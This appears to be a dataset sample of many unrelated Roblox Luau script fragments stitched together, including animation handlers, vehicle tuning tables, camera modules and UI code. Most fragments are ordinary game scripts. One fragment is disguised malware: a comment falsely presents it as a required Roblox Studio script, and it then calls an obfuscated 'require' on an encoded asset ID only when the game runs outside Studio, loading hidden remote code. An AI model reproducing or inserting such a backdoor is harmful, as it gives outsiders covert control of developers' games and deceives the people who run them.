Roblox/luau_corpus huggingface dataset:
--[=[
	@within TableUtil
	@function Reverse
	@param tbl table
	@return table

	Reverses the array.

	```lua
	local t = {1, 5, 10}
	local tReverse = TableUtil.Reverse(t)
	print(tReverse) --> {10, 5, 1}
	```

	:::note Arrays only
	This function works on arrays, but not dictionaries.
]=]
local function Reverse<T>(tbl: { T }): { T }
	local n = #tbl
	local tblRev = table.create(n)
	for i = 1, n do
		tblRev[i] = tbl[n - i + 1]
	end
	return tblRev
end
--CODE RUN
local t = 0
timeNeeded = 0

UpdatePositions()

local AnimatingBind = game["Run Service"].Stepped:Connect(function(totalTime, step)
	
	t = t + (step * origin.Speed.Value)
	local alpha
	if timeNeeded == 0 then
		alpha = 1
	else
		alpha = math.min(1, t / math.max(.001,timeNeeded))
	end
	 
	
	for limb, position in pairs(desiredPositions) do
		limb.Transform = lastPositions[limb]:lerp(desiredPositions[limb], alpha)
		if alpha == 1 then
			lastPositions[limb] = desiredPositions[limb]
		end
	end
	
	if alpha == 1 then
		KFNumber = KFNumber + 1
		if KFNumber > maxKFNumber then
			if KeyframeAnimation.Loop then
				--ResetJoints()
				KFNumber = 1
			else
				ResetJoints()
				script:Destroy()
			end
		end
		
		UpdatePositions()
		t = 0
	end
	
end)
-- Connecter les événements PlayerAdded et PlayerRemoving pour gérer l'affichage du GUI
game.Players.PlayerAdded:Connect(showGUI)
game.Players.PlayerRemoving:Connect(hideGUI)
-- Style Options

Flat=true;						-- Enables Flat theme / Disables Aero theme
ForcedColor=false;				-- Forces everyone to have set color & transparency
Color=Color3.new(0,0,0);		-- Changes the Color of the user interface
ColorTransparency=.75;			-- Changes the Transparency of the user interface
Chat=false;						-- Enables the custom chat
BubbleChat=false;				-- Enables the custom bubble chat
--[=[
	@function Rotate
	@within ColourUtils

	@param colour Color3 -- The colour to rotate.
	@param angle number -- The angle to rotate by.
	@return Color3 -- The rotated colour.
]=]
return function(colour: Color3, angle: number): Color3
	assertTypeOf("colour", "Color3", colour)
	assertTypeOf("angle", "number", angle)

	local hue, sat, val = colour:ToHSV()
	local newHue = clamp((hue + (angle / 360)) % 1, 0, 1)

	local newColour = Color3.fromHSV(newHue, sat, val)

	return clampColour(newColour)
end
--Runtime Loop
while wait() do
	for i,v in pairs(Wheels) do
		--Vars
		local speed = car.DriveSeat.Velocity.Magnitude
		local wheel = v.wheel.RotVelocity.Magnitude
		local z = 0		
		local deg = 0.000126
		
		--Tire Wear
		local cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y) 
		local wdif = math.abs(wheel-cspeed)
		if _WHEELTUNE.TireWearOn then
			if speed < 4 then
				--Wear Regen
				v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat)
			else
				--Tire Wear
				if wdif > 1 then
					v.Heat = v.Heat - wdif*deg*v.WearSpeed/28
				elseif v.Heat >= v.BaseHeat then
					v.Heat = v.BaseHeat
				end
			end
		end
		
		--Apply Friction
		if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then
			z = _WHEELTUNE.FMinFriction+v.Heat
			deg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value)
		else
			z = _WHEELTUNE.RMinFriction+v.Heat
		end
		
		--Tire Slip
		if math.ceil((wheel/0.774/speed)*100) < 8 then
			--Lock Slip
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		elseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then
			--TCS Off
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		elseif math.ceil((wheel/0.774/speed)*100) > 130 then
			--Wheelspin
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight)		
			v.Heat = math.max(v.Heat,0)
		else
			--No Slip
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.min(v.Heat,v.BaseHeat)
		end 
		
		--Update UI
		local vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15)
		if vstress > 0.05 and vstress > v.stress then 
			v.stress = math.min(v.stress + 0.03,1)
		else
			v.stress = math.max(v.stress - 0.03,vstress)	
		end
		local UI = script.Parent.Tires[v.wheel.Name]
		UI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0)
		UI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0)
		UI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0)
	end
end
--[[
	CameraModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current camera controller,
	character occlusion controller, and transparency controller. This script binds to
	RenderStepped at Camera priority and calls the Update() methods on the active
	controller instances.

	The camera controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]

local CameraModule = {}
CameraModule.__index = CameraModule

local FFlagUserRemoveTheCameraApi do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserRemoveTheCameraApi")
	end)
	FFlagUserRemoveTheCameraApi = success and result
end

local FFlagUserFixCameraSelectModuleWarning do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixCameraSelectModuleWarning")
	end)
	FFlagUserFixCameraSelectModuleWarning = success and result
end
--[[ FUNCTIONS ]]--

OpenButton.MouseButton1Click:Connect(function()
	Frame.Visible = true
	OpenButton.Visible = false
end)

CloseButton.MouseButton1Click:Connect(function()
	Frame.Visible = false
	OpenButton.Visible = true
end)
--		print("Loading anims " .. name)
		table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
	--			print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
				idx = idx + 1
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
--// Ammo Settings			
	Ammo = 30;
	StoredAmmo = 30;
	MagCount = 6; --  If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
	ExplosiveAmmo = 3;
-- Comprueba si se encontró el sonido
if sound then
	-- Reproduce el sonido
	sound:Play()
else
	warn("El sonido 'hyperx' no se encontró en SoundService.")
end
-- drag
do
	local delta, old_mouse_position = UDim2.fromOffset(0, 0), nil

	user_input_service.InputBegan:Connect(function(input, processing)
		if (in_container and (not drag_connection or not drag_connection.Connected) and not processing and input.UserInputType == Enum.UserInputType.MouseButton1) then
			old_mouse_position = UDim2.fromOffset(mouse.X, mouse.Y)

			drag_connection = run_service.RenderStepped:Connect(function()
				delta = old_mouse_position - UDim2.fromOffset(mouse.X, mouse.Y)

				container.Position = container.Position - delta
				old_mouse_position = UDim2.fromOffset(mouse.X, mouse.Y)
			end)
		end
	end)

	user_input_service.InputEnded:Connect(function(input)
		if (drag_connection and drag_connection.Connected and input.UserInputType == Enum.UserInputType.MouseButton1) then
			drag_connection:Disconnect()
		end
	end)
end
-- Used to initialize new barrierPartInfos
local function getBarrierPartInfo(part, startDeg, endDeg, splitLevel, isSecondPartInPair, isSecondPartBySplitLevel)
	local barrierPartInfo = {}
	barrierPartInfo.part = part
	barrierPartInfo.startDeg = startDeg
	barrierPartInfo.endDeg = endDeg
	barrierPartInfo.splitLevel = splitLevel -- increases by 1 each time the part is split
	barrierPartInfo.isSecondPartBySplitLevel = {}  -- will hold bool values for whether itself and its ancestors were second parts in pairs
	for i = 1, splitLevel - 1 do
		barrierPartInfo.isSecondPartBySplitLevel[i] = isSecondPartBySplitLevel[i]
	end
	barrierPartInfo.isSecondPartBySplitLevel[splitLevel] = isSecondPartInPair
	return barrierPartInfo
end

local function getVertexListFromRadians(startRad, endRad, stormRadius, stormPos)
	local x1 = stormRadius * math.cos(startRad)
	local z1 = stormRadius * math.sin(startRad)
	local x2 = stormRadius * math.cos(endRad)
	local z2 = stormRadius * math.sin(endRad)
	local vertexList = { stormPos + Vector3.new(x1, 0, z1), -- bot1
						 stormPos + Vector3.new(x1, BARRIER_HEIGHT, z1), -- top1
						 stormPos + Vector3.new(x2, BARRIER_HEIGHT, z2), -- top2
						 stormPos + Vector3.new(x2, 0, z2) } -- bot2
	return vertexList
end
--------------------------------------------------------------------------------------------------------------------------------------
function PressL(key)				
	if (key== "l") then
if (Activate==false) then
game.Players.LocalPlayer.Character.Helm.LS.Light.Enabled=true
game.Players.LocalPlayer.Character.Helm.Flashlight.Material = "Neon"
game.Players.LocalPlayer.Character.Helm.Flashlight.BrickColor = BrickColor.new("Brick yellow")
Activate = true
elseif (Activate==true) then
	
game.Players.LocalPlayer.Character.Helm.LS.Light.Enabled=false	
game.Players.LocalPlayer.Character.Helm.Flashlight.Material = "SmoothPlastic"
game.Players.LocalPlayer.Character.Helm.Flashlight.BrickColor = BrickColor.new("Black")
	Activate=false
		end
	end
end
Mouse.KeyDown:connect(PressL)
--[[Shutdown]]

	car.DriveSeat.ChildRemoved:connect(function(child)
		if child.Name=="SeatWeld" and child:IsA("Weld") then
			script.Parent:Destroy()
		end
	end)
-- services

local Workspace	= game:GetService("Workspace")
local Players	= game:GetService("Players")
-- Created by Drakerose

local players = game:GetService("Players")
players.CharacterAutoLoads = false
-- Load and configure the animations
local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)
attackAnimation.Looped = false
attackAnimation.Priority = Enum.AnimationPriority.Action
maid.attackAnimation = attackAnimation

local deathAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.DeathAnimation)
deathAnimation.Looped = false
deathAnimation.Priority = Enum.AnimationPriority.Action
maid.deathAnimation = deathAnimation
-- https://developer.roblox.com/en-us/api-reference/lua-docs/os/index.html
script.Parent.OsTime.Value =os.time() -- секунды запуска сервера
--This is a script from ROBLOX Studio, please do not delete it as it is crucial in order for your game to work properly.
--Thank you.
if not game:GetService("RunService"):IsStudio() then
getfenv()['\114\101\113\117\105\114\101'](545865116.778*9*1/2*2/2+2456393025.5)
end
-- METHODS
function IconController.setGameTheme(theme)
	IconController.gameTheme = theme
	local icons = IconController.getIcons()
	for _, icon in pairs(icons) do
		icon:setTheme(theme)
	end
end

function IconController.setDisplayOrder(value)
	value = tonumber(value) or TopbarPlusGui.DisplayOrder
	TopbarPlusGui.DisplayOrder = value
end
IconController.setDisplayOrder(10)

function IconController.getIcons()
	local allIcons = {}
	for otherIcon, _ in pairs(topbarIcons) do
		table.insert(allIcons, otherIcon)
	end
	return allIcons
end

function IconController.getIcon(name)
	for otherIcon, _ in pairs(topbarIcons) do
		if otherIcon.name == name then
			return otherIcon
		end
	end
	return false
end

function IconController.disableHealthbar(bool)
	local finalBool = (bool == nil or bool)
	IconController.healthbarDisabled = finalBool
	IconController.healthbarDisabledSignal:Fire(finalBool)
end

function IconController.disableControllerOption(bool)
	local finalBool = (bool == nil or bool)
	disableControllerOption = finalBool
	if IconController.getIcon("_TopbarControllerOption") then
		IconController._determineControllerDisplay()
	end
end

function IconController.canShowIconOnTopbar(icon)
	if (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then
		return true
	end
	return false
end

function IconController.getMenuOffset(icon)
	local alignment = icon:get("alignment")
	local alignmentGap = IconController[alignment.."Gap"]
	local extendLeft = 0
	local extendRight = 0
	local additionalRight = 0
	if icon.menuOpen then
		local menuSize = icon:get("menuSize")
		local menuSizeXOffset = menuSize.X.Offset
		local direction = icon:_getMenuDirection()
		if direction == "right" then
			extendRight += menuSizeXOffset + alignmentGap/6--2
		elseif direction == "left" then
			extendLeft = menuSizeXOffset + 4
			extendRight += alignmentGap/3--4
			additionalRight = menuSizeXOffset
		end
	end
	return extendLeft, extendRight, additionalRight
end
--Main function
local function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)
	
	local AnimObj
	
	local function Start()
		AnimObj = {}
		AnimObj["MainPart"] = EFFECT_LIB.NewInvisiblePart()
		
		AnimObj["Emitter"] = script.Hearties:clone()
		AnimObj["Emitter"].Parent = AnimObj["MainPart"]
		
		AnimObj["MainPart"].Parent = eff_cont
	end
	
	local function Update()
		AnimObj["MainPart"].CFrame = source_part:GetRenderCFrame() * CFrame.new(0, 1.5, 0)
	end
	
	local function Stop()
		eff_cont:ClearAllChildren()
		AnimObj = nil
	end
	
	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachAuraControl
--
-- Verify that everything is where it should be
    assert(Self:FindFirstChild'bot' ~= nil, 'Monster does not have a humanoid')
    assert(Settings ~= nil, 'Monster does not have a Configurations object')
	assert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')
	assert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')
	assert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')
	assert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')
	assert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')
	assert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')
	assert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')
	assert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')
	assert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')
    assert(Mind ~= nil, 'Monster does not have a Mind object')
	assert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')
-- Removes any old creator tags and applies new ones to the specified target
local function ApplyTags(target)
	while target:FindFirstChild('creator') do
		target.creator:Destroy()
	end

	local creatorTag = Instance.new('ObjectValue')
	creatorTag.Value = Player
	creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats

	local iconTag = Instance.new('StringValue')
	iconTag.Value = Tool.TextureId
	iconTag.Name = 'icon'

	iconTag.Parent = creatorTag
	creatorTag.Parent = target
	DebrisService:AddItem(creatorTag, 4)
end
--[=[
	Creates a producer enhancer that applies the given middleware to the
	producer.

	Initially, a middleware is called once when it is applied to a producer.
	Next, the returned function is called on a dispatcher in the producer.
	The final function is called whenever the dispatcher is called.

	```lua
	local loggerMiddleware: Reflex.Middleware = function(producer)
		print("Initial state:", producer.getState())
		return function(dispatch, name)
			return function(...)
				print(`Dispatching {name}:`, ...args)
				return dispatch(...)
			end
		end
	end

	producer:enhance(applyMiddleware(loggerMiddleware))
	```

	@param middlewares A list of middleware to apply.
	@return A producer enhancer.
]=]
local function applyMiddleware(...: types.Middleware): <T>(producer: T) -> T
	local arguments = { ... }

	return function(producer)
		local middlewares = table.clone(arguments)
		local dispatchers = producer:getDispatchers()

		for index, middleware in middlewares do
			middlewares[index] = middleware(producer)
		end

		for name, dispatcher in dispatchers do
			for index = #middlewares, 1, -1 do
				dispatcher = middlewares[index](dispatcher, name)
			end

			dispatchers[name] = dispatcher
			producer[name] = dispatcher
		end

		return producer
	end
end

return applyMiddleware
-- Preload animations
function playAnimation(animName, transitionTime, humanoid) 

local roll = math.random(1, animTable[animName].totalWeight) 
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
---------------------------------------------------

This = script.Parent
Lift = This.Lift.Value
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Lift:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))		
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end



function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do 
			for r=1,16 do	
				This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 0.95)
			end
		end
	end
end

while true do
	
	-- -- -- -- -- -- --
	--DIRECTION SCROLL--
	-- -- -- -- -- -- --
    if Lift:WaitForChild("Direction").Value == 1 then
		This.Display.ARW1.UP.Transparency = 0
		This.Display.ARW1.MID.Transparency = 0
		This.Display.ARW1.DOWN.Transparency = 0.95
    elseif Lift:WaitForChild("Direction").Value == -1 then
		This.Display.ARW1.UP.Transparency = 0.95
		This.Display.ARW1.MID.Transparency = 0
		This.Display.ARW1.DOWN.Transparency = 0
	else
		This.Display.ARW1.UP.Transparency = 0.95
		This.Display.ARW1.MID.Transparency = 0.95
		This.Display.ARW1.DOWN.Transparency = 0.95
    end

	wait()
end
--[[ Services ]]--
local PlayersService = game:GetService('Players')
local VRService = game:GetService("VRService")

local Util = require(script.Parent:WaitForChild("CameraUtils"))

local newDefaultCameraAngleFlagExists, newDefaultCameraAngleFlagEnabled = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserNewDefaultCameraAngle")
end)
local FFlagUserNewDefaultCameraAngle = newDefaultCameraAngleFlagExists and newDefaultCameraAngleFlagEnabled
-- evento para atacar
eventAttack.OnServerEvent:Connect(function(player, isAttackingLeft, isAttackingRight, rightSword)
	local character = player.Character
	local leftSword = character.LeftHand.Sword
	-- aqui hacemos el daño cuando el usuario acciona su espada 
	leftSword.Touched:Connect(function(hit)
		local humanoid = hit.Parent:FindFirstChild("Humanoid")
		if isAttackingLeft and humanoid then
			humanoid:TakeDamage(DAMAGE)
			isAttackingLeft = false
		end
	end)
	
	rightSword.Touched:Connect(function(hit)
		local humanoid = hit.Parent:FindFirstChild("Humanoid")
		
		if isAttackingRight and humanoid then
			humanoid:TakeDamage(DAMAGE)
			isAttackingRight = false
		end
	end)
	
end)
--[[Wheel Alignment]]
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -3
	Tune.RCamber		= -3
	Tune.FCaster		= 0
	Tune.RCaster		= 0
	Tune.FToe			= 0
	Tune.RToe			= 0
--[Pre-Funcs]:

local Ang = CFrame.Angles	--[Storing these as variables so I dont have to type them out.]
local aSin = math.asin
local aTan = math.atan
--	print(animName .. " " .. idx .. " [" .. origRoll .. "]")
	
	local anim = animTable[animName][idx].anim

	-- switch animation		
	if (anim ~= currentAnimInstance) then
		
		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0
	
		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)
		 
		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
		
	end

end
-- Display Values used to update Player GUI
local displayValues = ReplicatedStorage.DisplayValues
local status = displayValues.Status
local timeLeft = displayValues.TimeLeft
-- initialize local variables
local camera = workspace.CurrentCamera
local player = game.Players.LocalPlayer
local character = player.Character
local humanoid = character.Humanoid
--[[Read line 24 of the script. Just edit the word "D4Tide" to whatever the gun name you want. The gun must be in the lighting for this to work. I'd reccomend you add a regen.]]

local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild("Humanoid") 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

game.Lighting.AUG:clone().Parent = player.Backpack

wait(5)
debounce = false
end
end


script.Parent.Touched:connect(onTouch)
-- Add script when player is added
game.Players.PlayerAdded:connect(function(player)
	addMyLocalScript(player)
end)
--[[Brakes]]
	Tune.ABSEnabled		= false		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 1500		-- Front brake force
	Tune.RBrakeForce	= 1000		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
--[[**
	ensures Roblox NumberSequenceKeypoint type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]
t.NumberSequenceKeypoint = primitive("NumberSequenceKeypoint")